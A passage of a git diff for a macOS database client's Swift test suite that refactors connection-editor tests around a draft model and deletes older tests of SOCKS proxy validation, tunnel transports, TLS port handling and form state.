"P", type: .postgresql, socksProxyMode: .inline(config)), + secrets: .none, + traits: postgres + ) + #expect(reloaded.transport == .socksProxy) + #expect(reloaded.socksProxy.host == "proxy.example.com") + #expect(reloaded.socksProxy.port == "9150") + #expect(reloaded.socksProxy.username == "tester") + + let disabled = ConnectionDraft.loaded(from: DatabaseConnection(name: "P", type: .postgresql), secrets: .none, traits: postgres) + #expect(disabled.transport == nil) + #expect(ConnectionEditorEngine.edits(disabled, postgres, originalTraits: nil, EditorContext()).socksProxyMode == .disabled) } } diff --git a/apple/TableProTests/SOCKS/SOCKSProxyPaneViewModelTests.swift b/apple/TableProTests/SOCKS/SOCKSProxyPaneViewModelTests.swift deleted file mode 100644 index 687e3efdab..0000000000 --- a/apple/TableProTests/SOCKS/SOCKSProxyPaneViewModelTests.swift +++ /dev/null @@ -1,56 +0,0 @@ -// -// SOCKSProxyPaneViewModelTests.swift -// TableProTests -// - -import Foundation -import Testing - -@testable import TablePro - -@MainActor -struct SOCKSProxyPaneViewModelTests { - @Test("disabled reports no issues") - func disabledNoIssues() { - let viewModel = SOCKSProxyPaneViewModel() - viewModel.state.enabled = false - #expect(viewModel.validationIssues.isEmpty) - } - - @Test("enabled requires a host") - func requiresHost() { - let viewModel = SOCKSProxyPaneViewModel() - viewModel.state.enabled = true - viewModel.state.host = " " - #expect(viewModel.validationIssues.contains { $0.localizedCaseInsensitiveContains("host") }) - - viewModel.state.host = "proxy.example.com" - #expect(viewModel.validationIssues.isEmpty) - } - - @Test("port must be in range") - func portRange() { - let viewModel = SOCKSProxyPaneViewModel() - viewModel.state.enabled = true - viewModel.state.host = "proxy.example.com" - - viewModel.state.port = "70000" - #expect(viewModel.validationIssues.contains { $0.localizedCaseInsensitiveContains("port") }) - - viewModel.state.port = "not-a-port" - #expect(viewModel.validationIssues.contains { $0.localizedCaseInsensitiveContains("port") }) - - viewModel.state.port = "1080" - #expect(viewModel.validationIssues.isEmpty) - } - - @Test("credentials are optional") - func credentialsOptional() { - let viewModel = SOCKSProxyPaneViewModel() - viewModel.state.enabled = true - viewModel.state.host = "proxy.example.com" - viewModel.state.username = "" - viewModel.state.password = "" - #expect(viewModel.validationIssues.isEmpty) - } -} diff --git a/apple/TableProTests/TunnelCommand/TunnelCommandModelTests.swift b/apple/TableProTests/TunnelCommand/TunnelCommandModelTests.swift index 468ce79f26..7c9d35b768 100644 --- a/apple/TableProTests/TunnelCommand/TunnelCommandModelTests.swift +++ b/apple/TableProTests/TunnelCommand/TunnelCommandModelTests.swift @@ -62,21 +62,30 @@ struct TunnelCommandModelTests { #expect(decoded.tunnelCommandMode == connection.tunnelCommandMode) } - @Test("form state loads and rebuilds the mode, trimming as it goes") - func formStateRoundTrip() { + @Test("the editor's draft loads and rebuilds the mode, trimming as it goes") + @MainActor + func draftRoundTrip() { + let postgres = ConnectionTypeTraits.live(for: .postgresql, pluginManager: .shared) var connection = DatabaseConnection(name: "K8s", type: .postgresql) connection.tunnelCommandMode = .inline(kubectlConfig()) - var state = TunnelCommandFormState() - state.load(from: connection) - #expect(state.enabled) - #expect(state.buildTunnelMode() == connection.tunnelCommandMode) - - state.config.kubernetesResource = " service/postgres " - #expect(state.buildConfig().kubernetesResource == "service/postgres") - - state.enabled = false - #expect(state.buildTunnelMode() == .disabled) + var draft = ConnectionDraft.loaded(from: connection, secrets: .none, traits: postgres) + #expect(draft.transport == .tunnelCommand) + #expect(ConnectionEditorEngine.edits(draft, postgres, originalTraits: nil, EditorContext()).tunnelCommandMode + == connection.tunnelCommandMode) + + draft.tunnelCommand.config.kubernetesResource = " service/postgres " + #expect(draft.tunnelCommand.trimmedConfiguration.kubernetesResource == "service/postgres") + guard case .inline(let written) = ConnectionEditorEngine.edits( + draft, postgres, originalTraits: nil, EditorContext() + ).tunnelCommandMode else { + Issue.record("Expected an inline mode") + return + } + #expect(written.kubernetesResource == "service/postgres") + + draft.selectTransport(nil) + #expect(ConnectionEditorEngine.edits(draft, postgres, originalTraits: nil, EditorContext()).tunnelCommandMode == .disabled) } @Test("the export bridge round-trips every field") diff --git a/apple/TableProTests/TunnelCommand/TunnelCommandPreviewTests.swift b/apple/TableProTests/TunnelCommand/TunnelCommandPreviewTests.swift deleted file mode 100644 index 5cd73e73b1..0000000000 --- a/apple/TableProTests/TunnelCommand/TunnelCommandPreviewTests.swift +++ /dev/null @@ -1,46 +0,0 @@ -// -// TunnelCommandPreviewTests.swift -// TableProTests -// - -import Foundation -import Testing - -@testable import TablePro - -@MainActor -struct TunnelCommandPreviewTests { - private func coordinator(type: DatabaseType) -> ConnectionFormCoordinator { - let coordinator = ConnectionFormCoordinator(connectionId: nil) - coordinator.network.type = type - coordinator.transport = .tunnelCommand - return coordinator - } - - @Test("A cleared Port previews the engine's default port, which is what connects") - func clearedPortPreviewsDefaultPort() throws { - let coordinator = coordinator(type: .postgresql) - coordinator.tunnelCommand.state.config.method = .kubectl - coordinator.tunnelCommand.state.config.kubernetesResource = "service/postgres" - coordinator.network.port = "" - - let preview = try #require(coordinator.tunnelCommandPreview) - - #expect(preview.contains("{port}:5432")) - #expect(!preview.contains(":0")) - } - - @Test("A host-list connection previews the first listed node, which is what connects") - func hostListPreviewsFirstListedNode() throws { - let coordinator = coordinator(type: .redis) - coordinator.network.host = "" - coordinator.network.additionalFieldValues["redisMode"] = "cluster" - coordinator.network.additionalFieldValues["redisClusterHosts"] = "a.example:7000,b.example:7001" - coordinator.tunnelCommand.state.config.method = .custom - coordinator.tunnelCommand.state.config.command = "forward {port} {host}:{remotePort}" - - let preview = try #require(coordinator.tunnelCommandPreview) - - #expect(preview == "forward '{port}' a.example:7000") - } -} diff --git a/apple/TableProTests/ViewModels/ConnectionFormChildObservationTests.swift b/apple/TableProTests/ViewModels/ConnectionFormChildObservationTests.swift deleted file mode 100644 index 1672d26628..0000000000 --- a/apple/TableProTests/ViewModels/ConnectionFormChildObservationTests.swift +++ /dev/null @@ -1,87 +0,0 @@ -// -// ConnectionFormChildObservationTests.swift -// TableProTests -// -// Every connection form pane observes the coordinator and reads its values through a child view -// model. A change inside a child that never reached the coordinator's publisher left the pane as -// it was drawn, which is how picking Sentinel kept the Redis mode picker on Standalone. -// - -import Combine -import Foundation -import Testing - -@testable import TablePro - -@MainActor -struct ConnectionFormChildObservationTests { - private final class ChangeCounter { - private(set) var sends = 0 - private var subscription: AnyCancellable? - - init(_ coordinator: ConnectionFormCoordinator) { - subscription = coordinator.objectWillChange.sink { [weak self] in self?.sends += 1 } - } - } - - private func children(of coordinator: ConnectionFormCoordinator) -> [(String, ObservableObjectPublisher)] { - [ - ("network", coordinator.network.objectWillChange), - ("auth", coordinator.auth.objectWillChange), - ("ssh", coordinator.ssh.objectWillChange), - ("remoteFile", coordinator.remoteFile.objectWillChange), - ("cloudflareTunnel", coordinator.cloudflareTunnel.objectWillChange), - ("cloudSQLProxy", coordinator.cloudSQLProxy.objectWillChange), - ("socksProxy", coordinator.socksProxy.objectWillChange), - ("tunnelCommand", coordinator.tunnelCommand.objectWillChange), - ("ssl", coordinator.ssl.objectWillChange), - ("customization", coordinator.customization.objectWillChange), - ("advanced", coordinator.advanced.objectWillChange), - ("aiRules", coordinator.aiRules.objectWillChange), - ] - } - - @Test("a value changed inside a child reaches the coordinator's observers") - func childValueChangeReachesCoordinator() { - let coordinator = ConnectionFormCoordinator(connectionId: nil) - let counter = ChangeCounter(coordinator) - - coordinator.network.additionalFieldValues["redisMode"] = "sentinel" - - #expect(counter.sends == 1) - } - - @Test("every child forwards its changes") - func everyChildForwards() { - let coordinator = ConnectionFormCoordinator(connectionId: nil) - - for (name, publisher) in children(of: coordinator) { - let counter = ChangeCounter(coordinator) - publisher.send() - #expect(counter.sends == 1, "\(name) did not reach the coordinator") - } - } - - @Test("a replaced child forwards, and the one it replaced goes quiet") - func replacedChildForwards() { - let coordinator = ConnectionFormCoordinator(connectionId: nil) - let replaced = coordinator.network - let replacement = NetworkPaneViewModel() - coordinator.network = replacement - let counter = ChangeCounter(coordinator) - - replaced.type = .postgresql - #expect(counter.sends == 0) - - replacement.type = .postgresql - #expect(counter.sends == 1) - } - - @Test("a new connection saved Local only has nothing in iCloud Keychain to remove") - func newLocalOnlyConnectionRemovesNothing() { - let coordinator = ConnectionFormCoordinator(connectionId: nil) - coordinator.advanced.localOnly = true - - #expect(!coordinator.removesSyncedSecretsOnSave) - } -} diff --git a/apple/TableProTests/ViewModels/ConnectionFormDisclosureStateTests.swift b/apple/TableProTests/ViewModels/ConnectionFormDisclosureStateTests.swift deleted file mode 100644 index 0be8e1ab4b..0000000000 --- a/apple/TableProTests/ViewModels/ConnectionFormDisclosureStateTests.swift +++ /dev/null @@ -1,60 +0,0 @@ -// -// ConnectionFormDisclosureStateTests.swift -// TableProTests -// -// The connection form opens with only General visible and the rest behind disclosures. These -// cover the coordinator signals the form reads to open the sections a connection already uses. -// - -import Foundation -import TableProPluginKit -import Testing - -@testable import TablePro - -@MainActor -struct ConnectionFormDisclosureStateTests { - private func coordinator(type: DatabaseType = .mysql) -> ConnectionFormCoordinator { - let coordinator = ConnectionFormCoordinator(connectionId: nil) - coordinator.network.type = type - return coordinator - } - - @Test("a plain connection reports no configured network") - func directIsNotConfigured() { - #expect(coordinator().networkIsConfigured == false) - } - - @Test("a transport opens the Network section") - func transportIsConfigured() { - let coordinator = coordinator() - coordinator.transport = .ssh - #expect(coordinator.networkIsConfigured) - #expect(coordinator.networkSummary.contains(ConnectionTunnelKind.ssh.displayName)) - } - - @Test("a client certificate opens the Network section") - func clientCertIsConfigured() { - let coordinator = coordinator() - coordinator.ssl.clientCertPath = "/tmp/client.crt" - #expect(coordinator.networkIsConfigured) - } - - @Test("a direct connection summary does not name a tunnel") - func directSummaryHasNoTunnel() { - let summary = coordinator().networkSummary - #expect(summary.contains(ConnectionTunnelKind.ssh.displayName) == false) - } - - @Test("a plain connection is not customized") - func defaultAppearanceIsNotCustomized() { - #expect(coordinator().appearanceIsCustomized == false) - } - - @Test("a chosen icon opens the Appearance section") - func iconIsCustomized() { - let coordinator = coordinator() - coordinator.customization.iconName = "star.fill" - #expect(coordinator.appearanceIsCustomized) - } -} diff --git a/apple/TableProTests/ViewModels/ConnectionFormEditsTests.swift b/apple/TableProTests/ViewModels/ConnectionFormEditsTests.swift index 9e2ec6178f..e271947852 100644 --- a/apple/TableProTests/ViewModels/ConnectionFormEditsTests.swift +++ b/apple/TableProTests/ViewModels/ConnectionFormEditsTests.swift @@ -125,14 +125,15 @@ struct ConnectionFormEditsTests { @Test("The form's edits carry what Forget took off the list") @MainActor - func coordinatorCarriesForgottenTools() { - let coordinator = ConnectionFormCoordinator(connectionId: nil) - coordinator.advanced.load(from: populatedConnection()) + func draftCarriesForgottenTools() { + let mysql = ConnectionTypeTraits.live(for: .mysql, pluginManager: .shared) + var draft = ConnectionDraft.loaded(from: populatedConnection(), secrets: .none, traits: mysql) - coordinator.advanced.forgetAlwaysAllowed("run_query") - let saved = coordinator.buildEdits().applied(to: populatedConnection()) + draft.forgetAlwaysAllowed("run_query") + let edits = ConnectionEditorEngine.edits(draft, mysql, originalTraits: mysql, EditorContext()) + let saved = edits.applied(to: populatedConnection()) - #expect(coordinator.buildEdits().revokedAIAlwaysAllowedTools == ["run_query"]) + #expect(edits.revokedAIAlwaysAllowedTools == ["run_query"]) #expect(saved.aiAlwaysAllowedTools == ["list_tables"]) } @@ -173,12 +174,12 @@ struct ConnectionFormEditsTests { func keepsAnUndrawableIconThroughLoadAndSave() { var original = populatedConnection() original.iconName = "made.up.symbol" - let customization = CustomizationPaneViewModel() + let mysql = ConnectionTypeTraits.live(for: .mysql, pluginManager: .shared) - customization.load(from: original) - let result = edits(iconName: customization.iconName).applied(to: original) + let draft = ConnectionDraft.loaded(from: original, secrets: .none, traits: mysql) + let result = ConnectionEditorEngine.edits(draft, mysql, originalTraits: mysql, EditorContext()).applied(to: original) - #expect(customization.iconName == "made.up.symbol") + #expect(draft.appearance.iconName == "made.up.symbol") #expect(result.iconName == "made.up.symbol") } @@ -294,16 +295,16 @@ struct ConnectionFormEditsTests { func environmentRoundTrips() { var stored = populatedConnection() stored.additionalFields[ConnectionEnvironment.fieldKey] = "production" - let coordinator = ConnectionFormCoordinator(connectionId: nil) - coordinator.customization.load(from: stored) - #expect(coordinator.customization.environment == .production) + let mysql = ConnectionTypeTraits.live(for: .mysql, pluginManager: .shared) + var draft = ConnectionDraft.loaded(from: stored, secrets: .none, traits: mysql) + #expect(draft.environment == .production) - coordinator.customization.environment = .staging - let saved = coordinator.buildEdits().applied(to: stored) + draft.setEnvironment(.staging) + let saved = ConnectionEditorEngine.edits(draft, mysql, originalTraits: mysql, EditorContext()).applied(to: stored) #expect(saved.additionalFields[ConnectionEnvironment.fieldKey] == "staging") - coordinator.customization.environment = .none - let cleared = coordinator.buildEdits().applied(to: saved) + draft.setEnvironment(.none) + let cleared = ConnectionEditorEngine.edits(draft, mysql, originalTraits: mysql, EditorContext()).applied(to: saved) #expect(cleared.additionalFields[ConnectionEnvironment.fieldKey] == nil) } diff --git a/apple/TableProTests/ViewModels/ConnectionFormPortTLSTests.swift b/apple/TableProTests/ViewModels/ConnectionFormPortTLSTests.swift deleted file mode 100644 index a1fbcb95d6..0000000000 --- a/apple/TableProTests/ViewModels/ConnectionFormPortTLSTests.swift +++ /dev/null @@ -1,130 +0,0 @@ -// -// ConnectionFormPortTLSTests.swift -// TableProTests -// - -import Foundation -import TableProPluginKit -import Testing - -@testable import TablePro - -@MainActor -struct ConnectionFormPortTLSTests { - private func newConnection(_ type: DatabaseType) -> ConnectionFormCoordinator { - let coordinator = ConnectionFormCoordinator(connectionId: nil, initialType: type) - coordinator.start() - return coordinator - } - - private func imported(_ url: String) throws -> ConnectionFormCoordinator { - guard case .success(let parsed) = ConnectionURLParser.parse(url) else { - throw ConnectionURLParseError.invalidURL - } - let coordinator = ConnectionFormCoordinator(connectionId: nil, initialParsedURL: parsed) - coordinator.start() - return coordinator - } - - @Test("Typing port 443 on a new Trino connection turns on Verify Identity, and typing past it turns it off") - func typedPortFollowsTheTLSPort() { - let coordinator = newConnection(.trino) - #expect(coordinator.ssl.mode == .disabled) - - coordinator.network.setPort("443") - #expect(coordinator.ssl.mode == .verifyIdentity) - - coordinator.network.setPort("4430") - #expect(coordinator.ssl.mode == .disabled) - } - - @Test("A mode the user picked is never changed by the port") - func chosenModeSurvivesThePort() { - let coordinator = newConnection(.trino) - coordinator.ssl.select(.required) - - coordinator.network.setPort("443") - #expect(coordinator.ssl.mode == .required) - - coordinator.ssl.select(.disabled) - coordinator.network.setPort("4430") - coordinator.network.setPort("443") - #expect(coordinator.ssl.mode == .disabled) - } - - @Test("A Trino connection on port 443 with Verify Identity saves without a CA certificate") - func verifyIdentityNeedsNoCAForTrino() { - let coordinator = newConnection(.trino) - coordinator.network.setPort("443") - - #expect(coordinator.ssl.caCertPath.isEmpty) - #expect(coordinator.ssl.validationIssues.isEmpty) - } - - @Test("Verify CA on Trino still asks for a CA certificate, since it checks no hostname") - func verifyCANeedsACAForTrino() { - let coordinator = newConnection(.trino) - coordinator.ssl.select(.verifyCa) - #expect(!coordinator.ssl.validationIssues.isEmpty) - } - - @Test("Importing trino://host:443 opens the form on Verify Identity, and editing the port away reverts it") - func importedTLSPortIsImplied() throws { - let coordinator = try imported("trino://analyst@trino.example.com:443/hive") - #expect(coordinator.ssl.mode == .verifyIdentity) - - coordinator.network.setPort("8080") - #expect(coordinator.ssl.mode == .disabled) - } - - @Test("Importing trino://host:443 with SSL=false keeps SSL off through later port edits") - func importedSSLFalseIsAChoice() throws { - let coordinator = try imported("trino://trino.example.com:443/hive?SSL=false") - #expect(coordinator.ssl.mode == .disabled) - - coordinator.network.setPort("4430") - coordinator.network.setPort("443") - #expect(coordinator.ssl.mode == .disabled) - } - - @Test("An imported JDBC URL with SSLVerification=CA opens on Verify CA, asks for the CA file, and keeps it through port edits") - func importedVerificationIsAChoice() throws { - let coordinator = try imported("jdbc:trino://analyst@trino.example.com:8443/hive?SSL=true&SSLVerification=CA") - #expect(coordinator.ssl.mode == .verifyCa) - #expect(!coordinator.ssl.validationIssues.isEmpty) - - coordinator.network.setPort("443") - coordinator.network.setPort("8080") - #expect(coordinator.ssl.mode == .verifyCa) - } - - @Test("Typing port 8443 on a new ClickHouse connection turns on Verify Identity") - func clickHouseTLSPort() { - let coordinator = newConnection(.clickhouse) - coordinator.network.setPort("8443") - #expect(coordinator.ssl.mode == .verifyIdentity) - - coordinator.network.setPort("8123") - #expect(coordinator.ssl.mode == .disabled) - } - - @Test("SQL Server verify modes save, since the form has no CA field for them") - func mssqlVerifyModesSave() { - let coordinator = newConnection(.mssql) - coordinator.ssl.select(.verifyIdentity) - #expect(coordinator.ssl.validationIssues.isEmpty) - - coordinator.ssl.select(.verifyCa) - #expect(coordinator.ssl.validationIssues.isEmpty) - } - - @Test("PostgreSQL Verify Identity saves without a CA certificate, and Verify CA still asks for one") - func postgresNeedsACAOnlyForVerifyCA() { - let coordinator = newConnection(.postgresql) - coordinator.ssl.select(.verifyIdentity) - #expect(coordinator.ssl.validationIssues.isEmpty) - - coordinator.ssl.select(.verifyCa) - #expect(!coordinator.ssl.validationIssues.isEmpty) - } -} diff --git a/apple/TableProTests/ViewModels/ConnectionFormTransportTests.swift b/apple/TableProTests/ViewModels/ConnectionFormTransportTests.swift deleted file mode 100644 index e21c04544f..0000000000 --- a/apple/TableProTests/ViewModels/ConnectionFormTransportTests.swift +++ /dev/null @@ -1,465 +0,0 @@ -// -// ConnectionFormTransportTests.swift -// TableProTests -// -// A connection reaches its database through exactly one transport. Two enabled at once made -// `DatabaseConnection.activeTunnelKind` answer nil, and `activeTunnelManager` then opened a -// direct connection to the database host while the form reported both as on. -// - -import Foundation -import TableProPluginKit -import TableProSSHConfig -import Testing - -@testable import TablePro - -@MainActor -struct ConnectionFormTransportTests { - private func coordinator(type: DatabaseType = .mysql) -> ConnectionFormCoordinator { - let coordinator = ConnectionFormCoordinator(connectionId: nil) - coordinator.network.type = type - return coordinator - } - - private func enabledFlags(_ coordinator: ConnectionFormCoordinator) -> [ConnectionTunnelKind] { - var kinds: [ConnectionTunnelKind] = [] - if coordinator.ssh.state.enabled { kinds.append(.ssh) } - if coordinator.cloudflareTunnel.state.enabled { kinds.append(.cloudflare) } - if coordinator.cloudSQLProxy.state.enabled { kinds.append(.cloudSQLProxy) } - if coordinator.socksProxy.state.enabled { kinds.append(.socksProxy) } - if coordinator.tunnelCommand.state.enabled { kinds.append(.tunnelCommand) } - return kinds - } - - @Test("a new connection is direct") - func defaultsToDirect() { - let coordinator = coordinator() - #expect(coordinator.transport == nil) - #expect(enabledFlags(coordinator).isEmpty) - } - - @Test("selecting a transport enables exactly that one") - func selectionIsExclusive() { - for kind in ConnectionTunnelKind.formToggleable { - let coordinator = coordinator() - coordinator.transport = kind - #expect(enabledFlags(coordinator) == [kind], "\(kind) did not enable alone") - #expect(coordinator.transport == kind, "\(kind) did not round-trip") - } - } - - @Test("switching transport disables the previous one") - func switchingDisablesPrevious() { - for first in ConnectionTunnelKind.formToggleable { - for second in ConnectionTunnelKind.formToggleable where second != first { - let coordinator = coordinator() - coordinator.transport = first - coordinator.transport = second - #expect(enabledFlags(coordinator) == [second], "\(first) survived a switch to \(second)") - } - } - } - - @Test("selecting direct disables every transport") - func directDisablesEverything() { - let coordinator = coordinator() - coordinator.transport = .socksProxy - coordinator.transport = nil - #expect(coordinator.transport == nil) - #expect(enabledFlags(coordinator).isEmpty) - } - - @Test("switching away keeps the transport's configuration for switching back") - func switchingPreservesConfiguration() { - let coordinator = coordinator() - coordinator.transport = .ssh - coordinator.ssh.state.host = "bastion.example.com" - coordinator.ssh.state.username = "deploy" - - coordinator.transport = .socksProxy - #expect(coordinator.ssh.state.host == "bastion.example.com") - - coordinator.transport = .ssh - #expect(coordinator.ssh.state.host == "bastion.example.com") - #expect(coordinator.ssh.state.username == "deploy") - } - - @Test("a connection stored with two transports normalizes to one") - func normalizeCollapsesLegacyMultiTransport() { - let coordinator = coordinator() - coordinator.ssh.state.enabled = true - coordinator.socksProxy.state.enabled = true - coordinator.tunnelCommand.state.enabled = true - - coordinator.normalizeTransport() - - #expect(enabledFlags(coordinator) == [.ssh]) - #expect(coordinator.transport == .ssh) - } - - @Test("a transport the type no longer offers falls back to direct") - func normalizeDropsUnavailableTransport() { - let coordinator = coordinator() - coordinator.transport = .cloudflare - coordinator.network.type = .sqlite - - coordinator.normalizeTransport() - - #expect(coordinator.transport == nil) - #expect(enabledFlags(coordinator).isEmpty) - } - - @Test("direct is always offered, exactly once, and never duplicated") - func availableTransportsAreWellFormed() { - for type in DatabaseType.allKnownTypes { - let coordinator = coordinator(type: type) - let available = coordinator.availableTransports - #expect(available.first == .some(nil), "\(type.rawValue) does not offer direct first") - #expect(Set(available).count == available.count, "\(type.rawValue) offers a duplicate transport") - } - } - - @Test("a file-based type offers the remote file transport rather than a port forward") - func fileBasedTypeUsesRemoteFile() { - let coordinator = coordinator(type: .sqlite) - #expect(coordinator.availableTransports.contains(.remoteFile)) - #expect(!coordinator.availableTransports.contains(.ssh)) - - coordinator.transport = .remoteFile - #expect(coordinator.ssh.state.enabled) - #expect(coordinator.transport == .remoteFile) - } - - @Test("leaving the SSH server clears the remote file path it was carrying") - func leavingSSHClearsRemoteFilePath() { - let coordinator = coordinator(type: .sqlite) - coordinator.transport = .remoteFile - coordinator.ssh.state.remoteFilePath = "/var/db/app.sqlite" - - coordinator.transport = nil - - #expect(coordinator.ssh.state.remoteFilePath.isEmpty) - } - - @Test("selecting a transport clears a passing test result") - func selectionInvalidatesTestResult() { - let coordinator = coordinator() - coordinator.testResult = ConnectionTestResult(succeeded: true) - coordinator.transport = .ssh - #expect(!coordinator.testSucceeded) - } - - @Test("the SSH server is offered as one transport, never as both of its flavours") - func sshAndRemoteFileAreNeverOfferedTogether() { - for type in DatabaseType.allKnownTypes { - let available = coordinator(type: type).availableTransports - #expect( - !(available.contains(.ssh) && available.contains(.remoteFile)), - "\(type.rawValue) offers both SSH flavours, so the picker cannot round-trip" - ) - } - } - - @Test("Weaviate offers the SSH tunnel and every other transport that forwards a port") - func weaviateOffersPortForwards() { - let available = coordinator(type: .weaviate).availableTransports - #expect(available == [nil, .ssh, .cloudflare, .socksProxy, .tunnelCommand]) - } - - /// The built-in entry of a registry type is what the form reads until its plugin is installed, - /// and BigQuery or DuckDB offered Cloudflare Tunnel from it with nothing to forward to. - @Test("a type with no port forward and no remote file connects directly only") - func typeWithoutPortForwardIsDirectOnly() { - let manager = PluginManager.shared - for type in DatabaseType.allKnownTypes - where !manager.supportsSSH(for: type) && !manager.supportsRemoteDatabaseFile(for: type) { - #expect( - coordinator(type: type).availableTransports == [nil], - "\(type.rawValue) offers a transport it has no port to forward through" - ) - } - } - - private func duckdb(mode: String) -> ConnectionFormCoordinator { - let coordinator = coordinator(type: .duckdb) - coordinator.auth.additionalFieldValues["duckdbMode"] = mode - coordinator.auth.additionalFieldValues["duckdbHost"] = "quack.internal" - return coordinator - } - - @Test("DuckDB in Local File offers no transport and no Network tab") - func duckdbLocalHasNoNetworkTab() { - let coordinator = duckdb(mode: "local") - - #expect(coordinator.availableTransports == [nil]) - #expect(!coordinator.supportsSSL) - #expect(!coordinator.visibleTabs.contains(.network)) - } - - @Test("DuckDB in Remote offers the SSH tunnel and every other transport that forwards a port, and no SSL section") - func duckdbRemoteOffersPortForwards() { - let coordinator = duckdb(mode: "remote") - - #expect(coordinator.availableTransports == [nil, .ssh, .cloudflare, .socksProxy, .tunnelCommand]) - #expect(coordinator.visibleTabs.contains(.network)) - #expect(!coordinator.showsSSL) - } - - @Test("switching DuckDB to Local File drops the transport it had in Remote") - func duckdbLocalDropsTheRemoteTransport() { - let coordinator = duckdb(mode: "remote") - coordinator.transport = .ssh - coordinator.ssh.state.host = "bastion.example.com" - - coordinator.auth.additionalFieldValues["duckdbMode"] = "local" - coordinator.normalizeTransport() - - #expect(coordinator.transport == nil) - #expect(enabledFlags(coordinator).isEmpty) - #expect(coordinator.ssh.state.host == "bastion.example.com", "The server itself is kept for switching back") - } - - @Test("a quack+ssh URL opens DuckDB in Remote on the SSH tunnel, with the SSL Mode it names") - func quackSSHURLOpensRemoteOverSSH() throws { - let url = "quack+ssh://deploy@bastion.example.com/quack.internal:9500/remotedb?sslmode=require" - guard case .success(let parsed) = ConnectionURLParser.parse(url) else { - Issue.record("\(url) should parse") - return - } - - let coordinator = ConnectionFormCoordinator(connectionId: nil, initialParsedURL: parsed) - coordinator.start() - - #expect(coordinator.transport == .ssh, "start() must not drop a tunnel the Remote fields can use") - #expect(coordinator.ssh.state.host == "bastion.example.com") - let fields = coordinator.allAdditionalFieldValues - #expect(fields["duckdbMode"] == "remote") - #expect(fields["duckdbHost"] == "quack.internal") - #expect(fields["duckdbPort"] == "9500") - #expect(fields["duckdbSSLMode"] == "required") - } - - @Test("a DuckDB Remote tunnel command forwards to the server the General tab names") - func duckdbTunnelCommandPreviewNamesTheServer() { - let coordinator = duckdb(mode: "remote") - coordinator.auth.additionalFieldValues["duckdbPort"] = "9500" - - let endpoint = coordinator.buildEdits().applied(to: DatabaseConnection(name: "")).tunnelForwardEndpoint - - #expect(endpoint.host == "quack.internal") - #expect(endpoint.port == 9_500) - } - - /// Only a driver that dials no host loses a transport to the server-field rule, so a network - /// type offers exactly what its capabilities say, whatever its fields hold. - @Test("a type that dials its host offers a port forward wherever it supports SSH") - func networkTypesKeepTheirTransports() { - let manager = PluginManager.shared - for type in DatabaseType.allKnownTypes - where manager.connectionMode(for: type) == .network && !manager.supportsRemoteDatabaseFile(for: type) { - let available = coordinator(type: type).availableTransports - #expect(available.contains(.ssh) == manager.supportsSSH(for: type), "\(type.rawValue)") - #expect(available.contains(.socksProxy) == manager.supportsSOCKSProxy(for: type), "\(type.rawValue)") - } - } - - @Test("changing the database type returns the connection to direct") - func typeChangeResetsTransport() { - let coordinator = coordinator() - coordinator.transport = .ssh - coordinator.ssh.state.host = "bastion.example.com" - - coordinator.network.setType(.sqlite) - - #expect(coordinator.transport == nil, "A transport means something else on another type") - #expect(enabledFlags(coordinator).isEmpty) - #expect(coordinator.ssh.state.host == "bastion.example.com", "The server itself is kept") - } - - @Test("changing the type clears a remote file path the new type cannot open") - func typeChangeClearsRemoteFilePath() { - let coordinator = coordinator(type: .sqlite) - coordinator.transport = .remoteFile - coordinator.ssh.state.remoteFilePath = "/var/db/app.sqlite" - - coordinator.network.setType(.mysql) - - #expect(coordinator.ssh.state.remoteFilePath.isEmpty) - } - - @Test("leaving the port forward clears the socket path only it can reach") - func leavingSSHClearsForwardSocketPath() { - let coordinator = coordinator() - coordinator.transport = .ssh - coordinator.network.sshForwardUnixSocketPath = "/var/run/postgresql/.s.PGSQL.5432" - - coordinator.transport = .socksProxy - - #expect(coordinator.network.sshForwardUnixSocketPath.isEmpty) - #expect(!coordinator.network.forwardsToUnixSocket) - } - - @Test("an enabled transport always has a tab that shows it") - func anEnabledTransportIsAlwaysReachable() { - for type in DatabaseType.allKnownTypes { - let coordinator = coordinator(type: type) - for kind in coordinator.availableTransports.compactMap({ $0 }) { - coordinator.transport = kind - #expect( - coordinator.visibleTabs.contains(.network), - "\(type.rawValue) hides Network while \(kind.rawValue) is on, so its issues go uncounted" - ) - } - } - } - - /// A retyped connection has to clear the Keychain entries the old type put there, or a - /// SQL Server connection changed to MySQL leaves its Kerberos password stored under the same - /// connection id with nothing in the form able to see or clear it. - @Test("a retyped connection still owns the previous type's secure fields") - func retypeKeepsOwnershipOfTheOldTypesSecrets() { - let manager = PluginManager.shared - var typesWithSecrets: [DatabaseType] = [] - for type in DatabaseType.allKnownTypes - where manager.additionalConnectionFields(for: type).contains(where: \.isSecure) { - typesWithSecrets.append(type) - } - guard let secretive = typesWithSecrets.first else { - Issue.record("No known type declares a secure connection field") - return - } - - let originalIds = Set( - manager.additionalConnectionFields(for: secretive).filter(\.isSecure).map(\.id) - ) - let owned = ConnectionFormCoordinator.secureFieldsOwnedByForm( - currentType: .mysql, - originalType: secretive, - pluginManager: manager - ) - - #expect(originalIds.isSubset(of: Set(owned.map(\.id)))) - #expect(Set(owned.map(\.id)).count == owned.count, "A field shared by both types is listed once") - } - - @Test("a driver with no SSL section cannot be blocked by an SSL rule") - func sslIssuesAreSilentWhereThereIsNoSSLSection() { - let coordinator = coordinator(type: .sqlite) - coordinator.ssl.select(.verifyCa) - coordinator.ssl.caCertPath = "" - - #expect(!coordinator.supportsSSL) - #expect(coordinator.ssl.validationIssues.isEmpty) - - let networked = self.coordinator() - networked.ssl.select(.verifyCa) - networked.ssl.caCertPath = "" - #expect(networked.supportsSSL) - #expect(!networked.ssl.validationIssues.isEmpty, "A driver that shows the field still requires it") - } - - @Test("a URL naming an SSH server opens the form on exactly that transport") - func urlImportSelectsOneTransport() throws { - let url = "mysql+ssh://deploy@bastion.example.com:22/dbuser@db.internal:3306/app" - guard case .success(let parsed) = ConnectionURLParser.parse(url) else { - Issue.record("\(url) should parse") - return - } - - let coordinator = ConnectionFormCoordinator(connectionId: nil, initialParsedURL: parsed) - coordinator.start() - - #expect(coordinator.transport == .ssh) - #expect(enabledFlags(coordinator) == [.ssh]) - #expect(coordinator.ssh.state.host == "bastion.example.com") - } - - @Test("choosing Socket clears the transport and leaves only Direct") - func socketClearsTheTransport() { - let coordinator = coordinator() - coordinator.transport = .ssh - coordinator.ssh.state.host = "bastion.example.com" - - coordinator.selectEndpoint(.localSocket) - - #expect(coordinator.transport == nil) - #expect(enabledFlags(coordinator).isEmpty) - #expect(coordinator.availableTransports == [nil]) - #expect(coordinator.visibleTabs.contains(.network), "SSL Mode still applies over a socket") - 